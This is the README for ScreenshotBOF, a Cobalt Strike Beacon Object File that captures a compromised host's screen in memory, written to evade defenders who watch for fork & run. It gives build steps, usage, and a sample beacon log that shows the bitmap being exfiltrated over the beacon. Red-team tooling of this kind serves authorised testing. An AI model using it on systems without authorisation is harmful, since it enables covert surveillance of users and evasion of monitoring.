ScreenshotBOF
An alternative screenshot capability for Cobalt Strike that uses WinAPI and does not perform a fork & run. Screenshot downloaded in memory.
Self Compilation
- git clone the repo
- open the solution in Visual Studio
- Build project BOF
Save methods:
- drop file to disk
- download file over beacon (Cobalt Strike only)
Usage
- import the screenshotBOF.cna script into Cobalt Strike
- use the command screenshot_bof {local filename} {save method 0/1}
beacon> screenshot_bof sad.bmp 1
[*] Running screenshot BOF by (@codex_tf2)
[+] host called home, sent: 5267 bytes
[+] received output:
[*] Screen saved to bitmap
[+] received output:
[*] Downloading bitmap over beacon with filename sad.bmp
[*] started download of sad.bmp
- if downloaded over beacon, BMP can be viewed in Cobalt Strike by right clicking the download and clicking "Render BMP" (credit @BinaryFaultline)
Notes
- no evasion is performed, which should be fine since the WinAPIs used are not malicious
Why did I make this?
Cobalt Strike uses a technique known as fork & run for many of its post-ex capabilities, including the screenshot command. While this behaviour provides stability, it is now well known and heavily monitored for. This BOF is meant to provide a more OPSEC safe version of the screenshot capability.
Credits
- Made using https://github.com/securifybv/Visual-Studio-BOF-template
- Save BMP to file from https://stackoverflow.com/a/60667564
- in memory download from https://github.com/anthemtotheego/CredBandit
- @BinaryFaultline for BMP rendering in aggressorscript, and screenshot callback branch
Disclaimer
usual disclaimer here, I am not responsible for any crimes against humanity you may commit or nuclear war you may cause using this piece of poorly written code.